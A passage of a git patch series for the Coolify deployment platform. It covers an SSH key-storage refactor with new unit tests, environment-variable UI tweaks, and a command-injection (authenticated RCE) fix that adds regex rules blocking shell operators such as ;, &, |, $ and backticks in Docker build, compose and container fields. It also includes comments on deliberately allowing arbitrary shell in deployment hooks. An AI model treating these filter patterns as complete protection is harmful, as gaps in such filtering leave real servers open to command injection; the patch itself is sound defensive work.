and anonymous class stub instead of reflection-only checks --- app/Helpers/SshMultiplexingHelper.php | 9 +- app/Models/PrivateKey.php | 17 +- tests/Unit/SshKeyValidationTest.php | 267 ++++++++++++++------------ 3 files changed, 155 insertions(+), 138 deletions(-) diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index b9a3e98f3..aa9d06996 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -209,8 +209,6 @@ private static function isMultiplexingEnabled(): bool private static function validateSshKey(PrivateKey $privateKey): void { - $privateKey->refresh(); - $keyLocation = $privateKey->getKeyLocation(); $filename = "ssh_key@{$privateKey->uuid}"; $disk = Storage::disk('ssh-keys'); @@ -236,8 +234,11 @@ private static function validateSshKey(PrivateKey $privateKey): void // Ensure correct permissions (SSH requires 0600) if (file_exists($keyLocation)) { $currentPerms = fileperms($keyLocation) & 0777; - if ($currentPerms !== 0600) { - chmod($keyLocation, 0600); + if ($currentPerms !== 0600 && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $privateKey->uuid, + 'path' => $keyLocation, + ]); } } } diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index b453e999d..1521678f3 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -5,6 +5,7 @@ use App\Traits\HasSafeStringAttribute; use DanHarrin\LivewireRateLimiting\WithRateLimiting; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; use Illuminate\Validation\ValidationException; use OpenApi\Attributes as OA; @@ -71,7 +72,7 @@ protected static function booted() $key->storeInFileSystem(); refresh_server_connection($key); } catch (\Exception $e) { - \Illuminate\Support\Facades\Log::error('Failed to resync SSH key after update', [ + Log::error('Failed to resync SSH key after update', [ 'key_uuid' => $key->uuid, 'error' => $e->getMessage(), ]); @@ -235,15 +236,17 @@ public function storeInFileSystem() } // Ensure correct permissions for SSH (0600 required) - if (file_exists($keyLocation)) { - chmod($keyLocation, 0600); + if (file_exists($keyLocation) && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $this->uuid, + 'path' => $keyLocation, + ]); } return $keyLocation; } finally { flock($lockHandle, LOCK_UN); fclose($lockHandle); - @unlink($lockFile); } } @@ -291,12 +294,6 @@ public function updatePrivateKey(array $data) return DB::transaction(function () use ($data) { $this->update($data); - try { - $this->storeInFileSystem(); - } catch (\Exception $e) { - throw new \Exception('Failed to update SSH key: '.$e->getMessage()); - } - return $this; }); } diff --git a/tests/Unit/SshKeyValidationTest.php b/tests/Unit/SshKeyValidationTest.php index fbcf7725d..adc6847d1 100644 --- a/tests/Unit/SshKeyValidationTest.php +++ b/tests/Unit/SshKeyValidationTest.php @@ -20,126 +20,26 @@ */ class SshKeyValidationTest extends TestCase { - public function test_validate_ssh_key_method_exists() + private string $diskRoot; + + protected function setUp(): void { - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $this->assertTrue($reflection->isStatic(), 'validateSshKey should be a static method'); - } + parent::setUp(); - public function test_validate_ssh_key_accepts_private_key_parameter() - { - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $parameters = $reflection->getParameters(); - - $this->assertCount(1, $parameters); - $this->assertEquals('privateKey', $parameters[0]->getName()); - - $type = $parameters[0]->getType(); - $this->assertNotNull($type); - $this->assertEquals(PrivateKey::class, $type->getName()); - } - - public function test_store_in_file_system_sets_correct_permissions() - { - // Verify that storeInFileSystem enforces chmod 0600 via code inspection - $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); - $this->assertTrue( - $reflection->isPublic(), - 'storeInFileSystem should be public' - ); - - // Verify the method source contains chmod for 0600 - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString('chmod', $source, 'storeInFileSystem should set file permissions'); - $this->assertStringContainsString('0600', $source, 'storeInFileSystem should enforce 0600 permissions'); - } - - public function test_store_in_file_system_uses_file_locking() - { - // Verify the method uses flock to prevent race conditions - $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString('flock', $source, 'storeInFileSystem should use file locking'); - $this->assertStringContainsString('LOCK_EX', $source, 'storeInFileSystem should use exclusive locks'); - } - - public function test_validate_ssh_key_checks_content_not_just_existence() - { - // Verify validateSshKey compares file content with DB value - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - // Should read file content and compare, not just check existence with `ls` - $this->assertStringNotContainsString('ls $keyLocation', $source, 'Should not use ls to check key existence'); - $this->assertStringContainsString('private_key', $source, 'Should compare against DB key content'); - $this->assertStringContainsString('refresh', $source, 'Should refresh key from database'); - } - - public function test_server_model_detects_private_key_id_changes() - { - // Verify the Server model's saved event checks for private_key_id changes - $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString( - 'wasChanged', - $source, - 'Server saved event should detect private_key_id changes via wasChanged()' - ); - $this->assertStringContainsString( - 'private_key_id', - $source, - 'Server saved event should specifically check private_key_id' - ); - } - - public function test_private_key_saved_event_resyncs_on_key_change() - { - // Verify PrivateKey model resyncs file and mux on key content change - $reflection = new \ReflectionMethod(PrivateKey::class, 'booted'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString( - "wasChanged('private_key')", - $source, - 'PrivateKey saved event should detect key content changes' - ); - $this->assertStringContainsString( - 'refresh_server_connection', - $source, - 'PrivateKey saved event should invalidate mux connections' - ); - $this->assertStringContainsString( - 'storeInFileSystem', - $source, - 'PrivateKey saved event should resync key file' - ); - } - - public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() - { - $diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); - File::ensureDirectoryExists($diskRoot); - config(['filesystems.disks.ssh-keys.root' => $diskRoot]); + $this->diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); + File::ensureDirectoryExists($this->diskRoot); + config(['filesystems.disks.ssh-keys.root' => $this->diskRoot]); app('filesystem')->forgetDisk('ssh-keys'); + } + protected function tearDown(): void + { + File::deleteDirectory($this->diskRoot); + parent::tearDown(); + } + + private function makePrivateKey(string $keyContent = 'TEST_KEY_CONTENT'): PrivateKey + { $privateKey = new class extends PrivateKey { public int $storeCallCount = 0; @@ -168,22 +68,141 @@ public function storeInFileSystem() }; $privateKey->uuid = (string) Str::uuid(); - $privateKey->private_key = 'NEW_PRIVATE_KEY_CONTENT'; + $privateKey->private_key = $keyContent; + + return $privateKey; + } + + private function callValidateSshKey(PrivateKey $privateKey): void + { + $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); + $reflection->setAccessible(true); + $reflection->invoke(null, $privateKey); + } + + public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() + { + $privateKey = $this->makePrivateKey('NEW_PRIVATE_KEY_CONTENT'); $filename = "ssh_key@{$privateKey->uuid}"; $disk = Storage::disk('ssh-keys'); $disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT'); - $staleKeyPath = $disk->path($filename); - chmod($staleKeyPath, 0644); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $reflection->setAccessible(true); - $reflection->invoke(null, $privateKey); + $this->callValidateSshKey($privateKey); $this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename)); $this->assertSame(1, $privateKey->storeCallCount); - $this->assertSame(0600, fileperms($staleKeyPath) & 0777); + $this->assertSame(0600, fileperms($keyPath) & 0777); + } - File::deleteDirectory($diskRoot); + public function test_validate_ssh_key_creates_missing_file() + { + $privateKey = $this->makePrivateKey('MY_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $this->assertFalse($disk->exists($filename)); + + $this->callValidateSshKey($privateKey); + + $this->assertTrue($disk->exists($filename)); + $this->assertSame('MY_KEY_CONTENT', $disk->get($filename)); + $this->assertSame(1, $privateKey->storeCallCount); + } + + public function test_validate_ssh_key_skips_rewrite_when_content_matches() + { + $privateKey = $this->makePrivateKey('SAME_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'SAME_KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0600); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame('SAME_KEY_CONTENT', $disk->get($filename)); + } + + public function test_validate_ssh_key_fixes_permissions_without_rewrite() + { + $privateKey = $this->makePrivateKey('KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame(0600, fileperms($keyPath) & 0777, 'Should fix permissions even without rewrite'); + } + + public function test_store_in_file_system_enforces_correct_permissions() + { + $privateKey = $this->makePrivateKey('KEY_FOR_PERM_TEST'); + $privateKey->storeInFileSystem(); + + $filename = "ssh_key@{$privateKey->uuid}"; + $keyPath = Storage::disk('ssh-keys')->path($filename); + + $this->assertSame(0600, fileperms($keyPath) & 0777); + } + + public function test_store_in_file_system_lock_file_persists() + { + // Use the real storeInFileSystem to verify lock file behavior + $disk = Storage::disk('ssh-keys'); + $uuid = (string) Str::uuid(); + $filename = "ssh_key@{$uuid}"; + $keyLocation = $disk->path($filename); + $lockFile = $keyLocation.'.lock'; + + $privateKey = new class extends PrivateKey + { + public function refresh() + { + return $this; + } + + public function getKeyLocation() + { + return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}"); + } + + protected function ensureStorageDirectoryExists() + { + // No-op in test — directory already exists + } + }; + + $privateKey->uuid = $uuid; + $privateKey->private_key = 'LOCK_TEST_KEY'; + + $privateKey->storeInFileSystem(); + + // Lock file should persist (not be deleted) to prevent flock race conditions + $this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem'); + } + + public function test_server_model_detects_private_key_id_changes() + { + $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString( + "wasChanged('private_key_id')", + $source, + 'Server saved event should detect private_key_id changes' + ); } } From ed3b5d096c06434775c144f27cfbf0bc88eb71b7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 17 Mar 2026 09:52:29 +0100 Subject: [PATCH 36/51] refactor(environment-variable): remove buildtime/runtime options and improve comment field Remove buildtime and runtime availability checkboxes from service-type environment variables across all permission levels. Always show the comment field with a conditional placeholder for magic variables instead of hiding it. Add a lock button for service-type variables. --- .../environment-variable/show.blade.php | 42 +++++-------------- 1 file changed, 10 insertions(+), 32 deletions(-) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 86faeeeb4..4db35674a 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -34,12 +34,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @endif
- @if (!$isMagicVariable) - - @endif + @else
@@ -178,10 +165,9 @@ @endif
- @if (!$isMagicVariable) - - @endif + @endcan @can('update', $this->env) @@ -189,12 +175,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @endif
+ @elseif ($type === 'service') +
+ Lock +
@endif @else @@ -265,12 +249,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) Date: Tue, 17 Mar 2026 10:11:26 +0100 Subject: [PATCH 37/51] feat(environment-variable): add placeholder hint for magic variables Add a placeholder message to the comment field indicating when an environment variable is handled by Coolify and cannot be edited manually. --- .../livewire/project/shared/environment-variable/show.blade.php | 1 + 1 file changed, 1 insertion(+) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 4db35674a..d8d448700 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -26,6 +26,7 @@
Update From 23f9156c7306b221101f1ebbe4d3c6b5e2522acd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 13:53:01 +0100 Subject: [PATCH 38/51] Squashed commit from 'qqrq-r9h4-x6wp-authenticated-rce' --- .../Api/ApplicationsController.php | 4 +- app/Jobs/ApplicationDeploymentJob.php | 47 ++- app/Livewire/Project/Application/General.php | 78 ++-- app/Support/ValidationPatterns.php | 62 ++- bootstrap/helpers/api.php | 21 +- .../project/application/general.blade.php | 8 +- .../Feature/CommandInjectionSecurityTest.php | 363 ++++++++++++++++++ 7 files changed, 507 insertions(+), 76 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6188651a1..6f34b43bf 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2472,7 +2472,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2483,8 +2483,6 @@ public function update_by_uuid(Request $request) 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', 'docker_compose_domains.*.domain' => 'string|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', 'custom_nginx_configuration' => 'string|nullable', 'is_http_basic_auth_enabled' => 'boolean|nullable', 'http_basic_auth_username' => 'string', diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7adb938c5..ed77b7c67 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -223,7 +223,11 @@ public function __construct(public int $application_deployment_queue_id) $this->preserveRepository = $this->application->settings->is_preserve_repository_enabled; $this->basedir = $this->application->generateBaseDir($this->deployment_uuid); - $this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/'); + $baseDir = $this->application->base_directory; + if ($baseDir && $baseDir !== '/') { + $this->validatePathField($baseDir, 'base_directory'); + } + $this->workdir = "{$this->basedir}".rtrim($baseDir, '/'); $this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}"; $this->is_debug_enabled = $this->application->settings->is_debug_enabled; @@ -312,7 +316,11 @@ public function handle(): void } if ($this->application->dockerfile_target_build) { - $this->buildTarget = " --target {$this->application->dockerfile_target_build} "; + $target = $this->application->dockerfile_target_build; + if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) { + throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.'); + } + $this->buildTarget = " --target {$target} "; } // Check custom port @@ -571,6 +579,7 @@ private function deploy_docker_compose_buildpack() $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command'); $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; @@ -578,6 +587,7 @@ private function deploy_docker_compose_buildpack() } } if (data_get($this->application, 'docker_compose_custom_build_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command'); $this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command; if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) { $this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); @@ -3948,6 +3958,24 @@ private function validatePathField(string $value, string $fieldName): string return $value; } + private function validateShellSafeCommand(string $value, string $fieldName): string + { + if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters."); + } + + return $value; + } + + private function validateContainerName(string $value): string + { + if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) { + throw new \RuntimeException('Invalid container name: contains forbidden characters.'); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { @@ -3961,7 +3989,17 @@ private function run_pre_deployment_command() foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) { + // Security: pre_deployment_command is intentionally treated as arbitrary shell input. + // Users (team members with deployment access) need full shell flexibility to run commands + // like "php artisan migrate", "npm run build", etc. inside their own application containers. + // The trust boundary is at the application/team ownership level — only authenticated team + // members can set these commands, and execution is scoped to the application's own container. + // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not + // restrict the command itself. Container names are validated separately via validateContainerName(). $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; $this->execute_remote_command( @@ -3988,7 +4026,12 @@ private function run_post_deployment_command() $containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id); foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) { + // Security: post_deployment_command is intentionally treated as arbitrary shell input. + // See the equivalent comment in run_pre_deployment_command() for the full security rationale. $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; try { diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b3fe99806..ca1daef72 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -7,7 +7,6 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; -use Livewire\Attributes\Validate; use Livewire\Component; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; @@ -22,136 +21,95 @@ class General extends Component public Collection $services; - #[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')] public string $name; - #[Validate(['string', 'nullable'])] public ?string $description = null; - #[Validate(['nullable'])] public ?string $fqdn = null; - #[Validate(['required'])] public string $gitRepository; - #[Validate(['required'])] public string $gitBranch; - #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; - #[Validate(['string', 'nullable'])] public ?string $installCommand = null; - #[Validate(['string', 'nullable'])] public ?string $buildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $startCommand = null; - #[Validate(['required'])] public string $buildPack; - #[Validate(['required'])] public string $staticImage; - #[Validate(['required'])] public string $baseDirectory; - #[Validate(['string', 'nullable'])] public ?string $publishDirectory = null; - #[Validate(['string', 'nullable'])] public ?string $portsExposes = null; - #[Validate(['string', 'nullable'])] public ?string $portsMappings = null; - #[Validate(['string', 'nullable'])] public ?string $customNetworkAliases = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerfileLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfileTargetBuild = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageName = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerComposeLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerCompose = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeRaw = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomStartCommand = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomBuildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $customDockerRunOptions = null; - #[Validate(['string', 'nullable'])] + // Security: pre/post deployment commands are intentionally arbitrary shell — users need full + // flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization. + // Commands execute inside the application's own container, not on the host. public ?string $preDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $preDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $customNginxConfiguration = null; - #[Validate(['boolean', 'required'])] public bool $isStatic = false; - #[Validate(['boolean', 'required'])] public bool $isSpa = false; - #[Validate(['boolean', 'required'])] public bool $isBuildServerEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isPreserveRepositoryEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelEscapeEnabled = true; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelReadonlyEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isHttpBasicAuthEnabled = false; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthUsername = null; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthPassword = null; - #[Validate(['nullable'])] public ?string $watchPaths = null; - #[Validate(['string', 'required'])] public string $redirect; - #[Validate(['nullable'])] public $customLabels; public bool $labelsChanged = false; @@ -184,33 +142,33 @@ protected function rules(): array 'fqdn' => 'nullable', 'gitRepository' => 'required', 'gitBranch' => 'required', - 'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], + 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => 'nullable', 'buildCommand' => 'nullable', 'startCommand' => 'nullable', 'buildPack' => 'required', 'staticImage' => 'required', - 'baseDirectory' => 'required', - 'publishDirectory' => 'nullable', + 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), + 'publishDirectory' => ValidationPatterns::directoryPathRules(), 'portsExposes' => 'required', 'portsMappings' => 'nullable', 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], - 'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfileLocation' => ValidationPatterns::filePathRules(), + 'dockerComposeLocation' => ValidationPatterns::filePathRules(), 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', - 'dockerfileTargetBuild' => 'nullable', - 'dockerComposeCustomStartCommand' => 'nullable', - 'dockerComposeCustomBuildCommand' => 'nullable', + 'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(), + 'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(), + 'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(), 'customLabels' => 'nullable', - 'customDockerRunOptions' => 'nullable', + 'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000), 'preDeploymentCommand' => 'nullable', - 'preDeploymentCommandContainer' => 'nullable', + 'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'postDeploymentCommand' => 'nullable', - 'postDeploymentCommandContainer' => 'nullable', + 'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'customNginxConfiguration' => 'nullable', 'isStatic' => 'boolean|required', 'isSpa' => 'boolean|required', @@ -233,6 +191,14 @@ protected function messages(): array [ ...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'), ...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'), + 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.', + 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.', + 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 2ae1536da..fdf2b12a6 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -9,7 +9,7 @@ class ValidationPatterns { /** * Pattern for names excluding all dangerous characters - */ + */ public const NAME_PATTERN 